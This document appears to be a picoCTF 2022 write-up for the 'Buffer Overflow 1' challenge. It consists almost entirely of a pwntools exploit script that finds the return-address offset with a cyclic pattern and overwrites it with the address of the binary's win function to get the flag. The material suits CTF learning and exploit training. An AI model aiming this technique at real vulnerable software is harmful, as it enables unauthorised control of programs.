Buffer Overflow 1
Writeup for Buffer Overflow 1 (Pwn) - Pico CTF (2022) 💜
Last updated
Writeup for Buffer Overflow 1 (Pwn) - Pico CTF (2022) 💜
Last updated
Control the return address
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
# Launch process and send payload
p = process(exe, level='warn')
p.sendlineafter(b':', payload)
# Wait for the process to crash
p.wait()
# Print out the address of EIP/RIP at the time of crashing
ip_offset = cyclic_find(p.corefile.pc) # x86
# ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
warn('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
# Pass in pattern_size, get back EIP/RIP offset
offset = find_ip(cyclic(128))
payload = flat(
b'A' * offset,
elf.symbols.win
)
# Save the payload to file
write('payload', payload)
# Send the payload
io.sendlineafter(b':', payload)
# Receive the flag
io.interactive()